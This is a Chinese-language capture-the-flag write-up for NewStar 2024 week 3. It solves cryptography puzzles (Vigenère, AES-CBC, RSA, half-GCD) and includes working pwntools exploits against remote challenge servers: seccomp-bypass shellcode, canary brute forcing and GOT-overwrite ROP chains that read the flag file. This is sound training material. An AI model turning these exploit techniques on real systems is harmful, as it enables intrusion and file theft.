[NewStar 2024] week3

Crypto

故事新编1,2

第1个,每个字符都按key(循环用)作移位。看明白这,这题也就出来了这是维吉尼亚密码可以在Vigenere Solver | guballa.de上爆破

第2个,改了些东西,但仔细看来是查表,只是key不再循环使用而是用完后就用明文。同样在这个网站上也有解法,名字叫 Autokey Vigenère 就是自动密钥。

不用谢喵

AES_CBC格式加密的密文和AES_ECB直接解的明文,CBC格式只是加了前反馈,也就是把前一块的密文当作IV与明文异或后再ECB加密,所以ECB解密后的数据再与前一块的密文异或一下就行。

python 复制代码
def decrypt(c):
    AES_ECB = AES.new(KEY, AES.MODE_ECB)
    decrypted = AES_ECB.decrypt(long_to_bytes(c))

    return decrypted.hex()

def encrypt():
    iv = os.urandom(16)
    AES_CBC = AES.new(KEY, AES.MODE_CBC, iv)
    encrypted = AES_CBC.encrypt(FLAG.encode())
    print('iv:',iv.hex())

    return iv.hex() + encrypted.hex()

c=encrypt()
print('encrypt:',c)
print('decrypt:',decrypt(int(c,16)))

#encrypt: f2040fe3063a5b6c65f66e1d2bf47b4cddb206e4ddcf7524932d25e92d57d3468398730b59df851cbac6d65073f9e138
#什么是AES啊😭,求求你帮我解密吧,我什么都会做的!!!!!😭

'''
什么都会做?那就去学习一下AES吧......
我这次就先给你解一下好了,不用谢喵
decrypt: f9899749fec184d81afecd35da430bc394686e847d72141b3a955a4f6e920e7d91cb599d92ba2a6ba51860bb5b32f23b
这对吗?哦不对不对,哦对的对的。
'''
python 复制代码
c1 = bytes.fromhex('f2040fe3063a5b6c65f66e1d2bf47b4cddb206e4ddcf7524932d25e92d57d3468398730b59df851cbac6d65073f9e138')
c2 = bytes.fromhex('f9899749fec184d81afecd35da430bc394686e847d72141b3a955a4f6e920e7d91cb599d92ba2a6ba51860bb5b32f23b')

c = [c1[i:i+16] for i in range(0, len(c1), 16)]
m = [c2[i:i+16] for i in range(0, len(c2), 16)]
b''.join([xor(m[i], c[i-1]) for i in range(1,3)])

没e这能玩

这题分两块,一块是3等式3变量求解。另一块是给了 m^e mod 2^512求e

python 复制代码
from Crypto.Util.number import *
import random
import sympy
import gmpy2

m = bytes_to_long(b'flag{*****}')

p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
h1 = 1*p + 1*q + 1*r
h2 = 2*p + 3*q + 3*r
h3 = 9*p + 9*q + 6*r
print( "hint_of_pqr=" , h1 , h2 , h3 )

e = getPrime(64)
a_big_prime = getPrime( 512 )
hint = pow(a_big_prime,e,2**512)
print( "big_prime is: " , a_big_prime )
print( "hint is: " , hint )

n = p*q*r
c = pow( m , e , n )
print( "c=" , c )

第1部分是初中数学题,主要是数字给的过于简单了,如果加上小幂数就不是初中题了。第2部分是DLP,由于模是2^512所以没在大因子可以直接求对数得到e

python 复制代码
#求p q r 
p = h1*3-h2
q = (h1*9-h3)//3
r = h1 - p - q 

#求e   hint = pow(p2,e,2^512)
discrete_log(hint,mod(p2,2^512))
e = 18344052974846453963

#rsa
d = invert(e, (p-1)*(q-1)*(r-1))
m = pow(c,d,n)
#mpz(2761328357324640838041048482823820617928011152855994221385645606528893)
long_to_bytes(m)
#b'flag{th1s_2s_A_rea119_f34ggg}'

两个黄鹂鸣翠柳

这题给了两个e和c,同一个n看上去是共模攻击。但是e比较大。其实还是共模攻击,只是用优化的算法。

python 复制代码
import random
from Crypto.Util.number import *
while 1:
    delta = getPrime(1024)
    p = getPrime(512)
    q = getPrime(512)
    N = p * q
    if delta<N:
        break
flag = b'flag{xxxxxxxxxxxxx}'
e = getPrime(10)
m = bytes_to_long(flag)
t1 = random.randint(0,255)
t2 = random.randint(0,255)
assert (t1 != t2)
m1 = m + t1 * delta
m2 = m + t2 * delta
c1 = pow(m1, e, N)
c2 = pow(m2, e, N)
print("e = ", e)
print("c1 = ", c1)
print("c2 = ", c2)
print("N = ", N)
print("delta = ", delta)

Half-gcd是优化后的算法,一身十几位的幂都可以算每次降半。

python 复制代码
#half-gcd算法
def HGCD(a, b):
    if 2 * b.degree() <= a.degree() or a.degree() == 1:
        return 1, 0, 0, 1
    m = a.degree() // 2
    a_top, a_bot = a.quo_rem(x^m)
    b_top, b_bot = b.quo_rem(x^m)
    R00, R01, R10, R11 = HGCD(a_top, b_top)
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    q, e = c.quo_rem(d)
    d_top, d_bot = d.quo_rem(x^(m // 2))
    e_top, e_bot = e.quo_rem(x^(m // 2))
    S00, S01, S10, S11 = HGCD(d_top, e_top)
    RET00 = S01 * R00 + (S00 - q * S01) * R10
    RET01 = S01 * R01 + (S00 - q * S01) * R11
    RET10 = S11 * R00 + (S10 - q * S11) * R10
    RET11 = S11 * R01 + (S10 - q * S11) * R11
    return RET00, RET01, RET10, RET11
    
def GCD(a, b):
    print(a.degree(), b.degree())
    q, r = a.quo_rem(b)
    if r == 0:
        return b
    R00, R01, R10, R11 = HGCD(a, b)
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    if d == 0:
        return c.monic()
    q, r = c.quo_rem(d)
    if r == 0:
        return d
    return GCD(d, r)

rd = inverse_mod(delta, N)
rc1 = c1*pow(rd,e,N)%N 
rc2 = c2*pow(rd,e,N)%N

#half-gcd
PR.<x> = PolynomialRing(Zmod(N))
for k1 in range(-255,256):
    if k1==0: continue
    print(k1)
    f1 = (x)^e - rc1
    f2 = (x+ k1)^e - rc2
    res = GCD(f1,f2)
    m = -res.monic().coefficients()[0]
    for k2 in range(-256,256):
        v = long_to_bytes(int((m-k2)*delta%N))
        if b'flag' in v:
            print(v)

PWN

不可思议

scanf(v6[i]) 可在连续读入16个4字节整数,当输入第10,11个时就溢出到返回在址,在这里写入后门。

ezshellcode

shellcode题,有限制open,execve,execveat,write等,允许了257:openat2。可以用openat2打开文件,再sendfile

python 复制代码
from pwn import *
context(arch='amd64', log_level='debug')

#p = process('./pwn')
#gdb.attach(p, "b*0x40124f\nc")
p = remote('8.147.132.32', 32350)

shellcode = """
add rax,0x100; mov rsp,rax;

push 0;pop rdi;
mov rax, 0x67616c662f; push rax; push rsp;pop rsi;
push 0;pop rdx;
push 0;pop r10;
push 257;pop rax;
syscall;

push 1;pop rdi;
push rax;pop rsi;
push 0;pop rdx;
push 0x70;pop r10;
push 0x28;pop rax;
syscall;
"""

p.sendlineafter(b"Welcome to Shellcode World!\n", asm(shellcode))

p.interactive()

'''
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x07 0xc000003e  if (A != ARCH_X86_64) goto 0009
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x15 0x00 0x01 0x00000142  if (A != execveat) goto 0007
 0006: 0x06 0x00 0x00 0x00000000  return KILL
 0007: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0009
 0008: 0x06 0x00 0x00 0x00000000  return KILL
 0009: 0x15 0x00 0x01 0x00000101  if (A != 257) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x15 0x00 0x01 0x000001b5  if (A != 437) goto 0013
 0012: 0x06 0x00 0x00 0x00000000  return KILL
 0013: 0x15 0x00 0x01 0x00000000  if (A != 0) goto 0015
 0014: 0x06 0x00 0x00 0x00000000  return KILL
 0015: 0x15 0x00 0x01 0x00000013  if (A != 19) goto 0017
 0016: 0x06 0x00 0x00 0x00000000  return KILL
 0017: 0x15 0x00 0x01 0x00000127  if (A != 295) goto 0019
 0018: 0x06 0x00 0x00 0x00000000  return KILL
 0019: 0x15 0x00 0x01 0x00000147  if (A != 327) goto 0021
 0020: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0021: 0x15 0x00 0x01 0x00000011  if (A != 17) goto 0023
 0022: 0x06 0x00 0x00 0x00000000  return KILL
 0023: 0x15 0x00 0x01 0x00000001  if (A != 1) goto 0025
 0024: 0x06 0x00 0x00 0x00000000  return KILL
 0025: 0x15 0x00 0x01 0x00000014  if (A != 20) goto 0027
 0026: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0027: 0x06 0x00 0x00 0x7fff0000  return ALLOW
'''

ezcanary

起了线程,溢出触发stack_fail不会退出,可以一字节一字节的爆破

python 复制代码
from pwn import *
context(arch='amd64', log_level='debug')

#p = process('./ezcanary')
#gdb.attach(p, "b*0x40124f\nc")
p = remote('8.147.132.32', 38830)

canary = b'\x00'
for i in range(7):
    for j in range(256):
        p.sendafter(b'\xef\xbc\x9f\n',b'A'*0x58+canary+bytes([j]))
        msg = p.recv(20)
        p.sendafter(b"*)\n", b'A')
        if not b'stack' in msg:
            canary += bytes([j])
            print(canary.hex())
            break

context.log_level = 'debug'
p.sendafter(b'\xef\xbc\x9f\n',b'cat flag\n\0')
p.sendafter(b"*)\n", b'cat flag\n\0')

p.sendafter(b"flag is one_by_one_bruteforce\n", b'A'*0x58+canary+flat(0x401273, 0x401251))
sleep(0.2)
p.sendline(b'cat flag')
p.interactive()

One last b1te

先是允许往1个地址写1字节,这里got表无保护,可以将close的get表改成write,然后通过溢出写ROP重新调起,close(1)时会将rdi指向的值泄露

cpp 复制代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+8h] [rbp-18h] BYREF
  char v5[16]; // [rsp+10h] [rbp-10h] BYREF

  init();
  sandbox();
  write(1, "Show me your UN-Lucky number : ", 0x20uLL);
  read(0, &buf, 8uLL);                          // 任意地址写1字符
  write(1, "Try to hack your UN-Lucky number with one byte : ", 0x32uLL);
  read(0, buf, 1uLL);
  read(0, v5, 0x110uLL);
  close(1);
  return 0;
}

得到libc后,再向栈里写ORW

python 复制代码
from pwn import *
context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')

#p = process('./pwn')
#gdb.attach(p, "b*0x401446\nc")
p = remote('8.147.129.74', 35127)

p.sendafter(b"Show me your UN-Lucky number : ", p64(0x404028))
p.sendafter(b"Try to hack your UN-Lucky number with one byte : \0", b'\x50')  #got.close 401080 -> write401050
p.send(b'A'*0x18+ flat(0x401110))

msg = p.recv(0x110)
print(msg[0xb8:0xc0].hex())
libc.address = u64(msg[0xb8:0xc0]) - 139 - libc.sym['__libc_start_main']
stack = u64(msg[0x20: 0x28]) - 0x170
pop_rdi = libc.address + 0x000000000010f75b # pop rdi ; ret
pop_rsi = libc.address + 0x0000000000110a4d # pop rsi ; ret
pop_rax = libc.address + 0x00000000000dd237 # pop rax ; ret
syscall = libc.sym['getpid']+9
print(f"{libc.address = :x} {stack = :x}")

p.sendafter(b"Show me your UN-Lucky number : ", p64(0x404800))
p.sendafter(b"Try to hack your UN-Lucky number with one byte : \0", b'\x00')  #got.close 401080 -> write401050
p.send(b'/flag'.ljust(0x18, b'\0')+ flat([
   pop_rdi, stack, pop_rsi,0, pop_rax,2, syscall,
   pop_rdi, 3, pop_rsi, 0x404400, pop_rax,0, syscall,
   pop_rdi, 1, pop_rax,1,syscall
]))

sleep(0.2)
p.sendline(b'cat flag')

p.interactive()

逆向放弃了

相关推荐
吾即是光2 天前
[HNCTF 2022 Week1]你想学密码吗?
ctf
吾即是光3 天前
[NSSCTF 2022 Spring Recruit]factor
ctf
吾即是光3 天前
[LitCTF 2023]easy_math (中级)
ctf
吾即是光3 天前
[HNCTF 2022 Week1]baby_rsa
ctf
云梦姐姐5 天前
Bugku-CTF getshell
ctf·wp
l2xcty5 天前
【网络安全】Web安全基础- 第一节:web前置基础知识
安全·web安全·网络安全·ctf
CH13hh9 天前
常回家看看之Tcache Stashing Unlink Attack
pwn·ctf
摸鱼也很难10 天前
文件包含漏洞下 日志文件的利用 && session文件竞争
ctf·ctfshow·文件包含进阶·web 80 81·web 87
lally.10 天前
CTF misc 流量分析特训
ctf·misc·流量分析
吾即是光11 天前
[SWPUCTF 2021 新生赛]crypto4
ctf